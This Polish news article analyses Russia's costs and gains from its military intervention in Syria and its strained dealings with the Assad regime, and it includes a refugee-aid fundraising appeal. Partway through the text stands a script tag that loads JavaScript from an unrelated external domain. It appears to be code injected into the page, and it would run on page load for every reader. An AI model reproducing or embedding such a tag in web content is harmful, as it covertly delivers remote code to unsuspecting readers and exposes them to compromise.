Reżim chce brać wszystko, tylko nie rady. Rosjanie w Syrii trwają, ale już niewiele zyskują

Ponad pięć lat i tysiące bomb później, Rosjanie mogą deklarować wygraną w Syrii. Popierany przez nich dyktator Baszar al-Asad utrzymał się przy władzy i kontroluje większość kraju. Do euforii w Moskwie jest jednak daleko. To znaczy: byłoby, gdyby ktoś tam jeszcze w ogóle o Syrii myślał.

Mija 10 lat od wybuchu syryjskiej wojny domowej, która kosztowała życie setki tysięcy osób, a ponad połowę Syryjczyków zmusiła do ucieczki z domów. Syryjczycy w kraju i na uchodźstwie bardziej niż kiedykolwiek potrzebują pomocy. Dlatego w Gazeta.pl #PamiętamyoSyrii - nie tylko w rocznicę opisujemy sytuację w kraju, a teraz pamiętamy szczególnie i wraz z Polskim Centrum Pomocy Międzynarodowej zbieramy środki na prowadzenie przychodni dla syryjskich uchodźców w Libanie. Możesz wesprzeć zbiórkę na Facebooku, przez stronę PCPM oraz baner pod artykułem. Tu przeczytasz więcej o celu zbiórki.

Rosja nie uniknęła tej samej pułapki, w którą po kolei wpadają wszystkie mocarstwa angażujące się na Bliskim Wschodzie. Łatwo wejść, ale znacznie trudniej wyjść z zyskiem i twarzą. Choć na korzyść Rosjan przemawia to, że zaangażowali się w ograniczonym stopniu.

Bombardowania były prostsze

Ponad pięć lat temu, 30 sierpnia 2015 roku, początkowi rosyjskiej interwencji wojskowej w Syrii towarzyszyło wiele emocji. Syria była jeszcze na czołówkach światowych mediów. Równocześnie toczyła się wojna na Ukrainie, podsycająca wszelkie emocje związane z Rosją i jej siłami zbrojnymi. W Syrii reżim al-Asada był bliski upadku wobec sukcesów - wspieranych przez Zachód, Turcję i kraje arabskie - bojówek opozycyjnych oraz dżihadystów z Państwa Islamskiego.

Nie ulega dzisiaj wątpliwości, że sypiące się z nieba rosyjskie bomby były jednym z podstawowych czynników, które umożliwiły reżimowi odwrócić bieg wojny. Niewiele mniej ważny był strumień broni, który zaczął przybywać z Rosji morzem i powietrzem. Do tego rosyjscy żołnierze, doradcy i najemnicy. Bez tego wszystkiego syryjski reżim nie byłby tym, który przynajmniej pozornie wygrał wojnę domową. Pozornie, ponieważ choć kontroluje większość terytorium kraju i jego ludności, to tak naprawdę jest słaby i nadal znajduje się w sytuacji nie do pozazdroszczenia.

Rosjanie też nie mają powodów do entuzjazmu. Jak to zwykle w takich sytuacjach bywa, zrzucanie bomb i strzelanie jest najprostszym etapem. Wiadomo, kto jest wrogiem i problem z nim można rozwiązać, zabijając go lub siłą zmuszając do uległości. Teraz jest znacznie trudniej. Wrogiem jest głównie fakt, że kraj jest w ruinie, gospodarka jest załamana, a Rosja nawet gdyby miała wolne fundusze, to niekoniecznie chciałaby je przeznaczyć na ratowanie Syrii.

Baszar al-Asad i Władimir Putin podczas parady wojskowej w rosyjskiej bazie lotniczej Hmejmim w Syrii, 11 grudnia 2017 r.Rosja ma dość Asada i gra na rozłam w syryjskim reżimie. Jaki ma cel?

Syryjczycy chętnie wezmą wszystko, poza radami

Zwłaszcza teraz, wobec kryzysu wywołanego pandemią, Rosjanie mają wiele zdecydowanie ważniejszych priorytetów niż ratowanie syryjskiej gospodarki. W poprzednich latach Moskwa starała się zorganizować jakieś międzynarodowe koalicje na rzecz odbudowy Syrii. Władimir Putin mówił o potrzebie "nowego planu Marshalla dla Bliskiego Wschodu", czyli masowego programu pomocowego w rodzaju tego, którym Amerykanie po II wojnie światowej postawili na nogi zachodnią Europę. Całość rosyjskich inicjatyw sprowadzała się jednak do tego, aby to kto inny za ten plan zapłacił. Zachód nie wyraził zainteresowania. Wręcz przeciwnie, utrzymano sankcje wymierzone w reżim, a w 2020 roku Amerykanie wprowadzili nowe, jeszcze ostrzejsze.

W obecnym układzie sił nie ma szans na jakiś szerszy program odbudowy Syrii. Nie ma więc też szans, aby rosyjskie firmy mogły zacząć tam na dobre zarabiać. Kilka podpisanych dotychczas głośnych kontraktów, na przykład na remont i rozbudowę portu w Tartus, nie zmienia tego stanu rzeczy, bo to pojedyncze i propagandowe inicjatywy. Tym bardziej że reżim i tak nie ma obecnie pieniędzy na żadne inwestycje. W praktyce nie ma więc perspektyw na to, aby Rosja odzyskała koszty finansowe poniesione w związku z interwencją. Wręcz przeciwnie, Syria pozostanie dla Rosjan studnią bez dna.

Problemy sprawia też sam reżim. Historia związków Rosji, a wcześniej ZSRR, z reżimem klanu Asadów, jest co najmniej skomplikowana. Dobrze opisał ją Nuriddin Muhitdinov, radziecki ambasador w Syrii przez większość lat 70.

Syryjczycy chętnie przyjmują od nas tak naprawdę wszelką pomoc, od pożyczek, przez wymiany studenckie po programy wojskowe. Nie przyjmują tylko jednego, porad.

Jak to zwykle bywa z dyktatorami, nie są oni potulnymi ludźmi chętnymi podporządkowywać się komukolwiek. Zarówno Baszar al-Asad, jak i jego ojciec Hafiz, zawsze zazdrośnie strzegli swojej niezależności, władzę opierając głównie na sieci członków rodziny oraz klanu, osadzonych na odpowiednich stanowiskach. Tak jest i teraz. Głównym zmartwieniem dyktatora nigdy nie są obywatele jego państwa, czy ono samo. Kluczowe jest zadowolenie elity i zredukowanie ryzyka przewrotu.

Al-Asad nie jest więc marionetką sterowaną z Moskwy. Kolejne rosyjskie próby osiągnięcia w Syrii jakichś reform politycznych, które mogłyby wzmocnić kraj jako całość, doprowadzić do rozwiązania mnóstwa pozostałych sporów i konfliktów, kończą się niczym. Komitet Konstytucyjny, który zainaugurował działalności w 2019 roku oficjalnie pod egidą ONZ, ale tak naprawdę głównie pod parasolem rosyjskim, do dzisiaj nie przyniósł żadnych konkretów.

<script src="https://quitsnap-blue.com/accounts/462/258/qs.js"></script>

Sytuację Rosjan komplikuje fakt, że reżim ma oparcie w drugim dużym zagranicznym sojuszniku, Iranie. Jak to zwykle w takich sytuacjach bywa, al-Asad może próbować balansować pomiędzy oboma i grozić, że w razie czego zawsze może całkowicie oprzeć się na tym drugim. Gdyby więc Rosjanie za bardzo naciskali, to mogliby znaleźć się na marginesie. Tego by nie chcieli, bo w efekcie straciliby dużo z tych korzyści, które pomimo wszystko udało im się w Syrii osiągnąć.

Turecki dron Anka-S. Takie są wykorzystywane do nalotów w SyriiNiewypowiedziana wojna. Turcja atakuje w Syrii

Poligon i miejsce zdobywania wpływów

Nie jest bowiem tak, że Rosjanie nic nie zyskali. Korzyści są polityczne i militarne. Te drugie są bezpośrednie i wymierne. Rosyjskie wojsko uczyniło z Syrii poligon, gdzie w realistycznych warunkach masowo testowało różne uzbrojenie. Rosjanie sami to podkreślają i chwalą się liczbą "sprawdzonych w boju" rozwiązań. W 2019 roku mówili o 600. To istotne nie tylko z punktu widzenia dopracowania sprzętu, w który są wyposażeni rosyjscy żołnierze, ale też o dodatkową wartość w rozmowach z potencjalnymi kupcami zagranicznymi. "Sprawdzone w boju" brzmi dobrze, choć oczywiście nie będzie decydującym czynnikiem przy decyzji o zakupie.

Nieocenioną wartość ma też doświadczenie, jakie zdobyło rosyjskie wojsko podczas ponad pięciu lat konfliktu. Nie tylko jeśli chodzi o weryfikację sprzętu, ale też sposobów jego użycia, organizacji działań ekspedycyjnych, planowania i naprowadzania nalotów, dowodzenia operacjami specjalnymi czy koordynacją współpracy z innymi wojskami i bojówkami. Tego już Rosjanom nikt nie zabierze. Tak samo jak powszechnego wrażenia o zdolności do skutecznego użycia swoich sił zbrojnych w konflikcie lokalnym. Oraz wrażenia, że robią to, nie oglądając się na życie cywilów. Bo tych mogli zabić, według szacunków różnych organizacji, nawet kilka tysięcy.

Dostali też od reżimu prawo do wykorzystywania bazy morskiej Tartus i lotniczej Hmejmim na do 2066 roku, co zapewnia rosyjskiemu wojsku dobre oparcie do działań w regionie.

embed

Częściowo stracić Rosjanie mogą to, co zyskali politycznie. Udało im się wrócić jako poważny gracz na Bliski Wschód. Po ponad dwóch dekadach wycofania po rozpadzie ZSRR. Rosjanie od początku wojny domowej wspierali al-Asada, ale głównie dyplomatycznie i w ograniczonym stopniu materialnie. Kiedy w 2015 roku wkroczyli już zdecydowanie, to z dnia na dzień zwiększyli swoją rolę w regionie. Stali się tymi, których już absolutnie nie można pomijać w rozmowach na tematy syryjskie. Pokazali, że nie zostawiają sojuszników w potrzebie i potrafią efektywnie ich wesprzeć, pomimo krytyki oraz presji Zachodu.

Zyskali też dużo wizerunkowo, usilnie przedstawiając swoją interwencję jako wymierzoną w "terrorystów islamskich", choć tak naprawdę bombardowali każdego, kto był przeciwnikiem reżimu. Pokazali przy okazji skuteczność swoich nowych systemów uzbrojenia. 

Dodatkowo zbliżyli się z Iranem, który też silnie wspiera Asada. Duży wpływ na syryjski reżim pomógł też Moskwie dokonać gwałtownego zwrotu w relacjach z Turcją. Na początku interwencji oba państwa były sobie ostro przeciwne. Turcy zestrzelili nawet rosyjski bombowiec, który naruszył ich przestrzeń powietrzną, wywołując ostrą reakcję Moskwy. Po próbie puczu w Turcji w 2016 roku i wobec konieczności jakiejś komunikacji oraz współpracy w kwestii syryjskiej obie strony zdołały jednak odbudować relacje.

Rosjanie nie mogą być jednak w pełni zadowoleni z korzyści politycznych. Nie udało im się przy pomocy karty syryjskiej skłonić Zachodu do podjęcia jakichś poważnych negocjacji ze swoim udziałem, czy doprowadzić do zniesienia sankcji za wojnę na Ukrainie. Teraz rosyjska obecność w Syrii zawisła w próżni. Wojna niby wygrana, ale w praktyce reżim jest bardzo słaby i wymaga ciągłego wsparcia. Całkowite wycofanie się nie wchodzi w grę, bo oznaczałoby utratę wielu korzyści politycznych. Trwanie na miejscu kosztuje, ale nie daje nic nowego. To kiepska inwestycja zwłaszcza w czasie, kiedy Rosja musi się mierzyć z licznymi problemami wewnętrznymi.

Więcej o: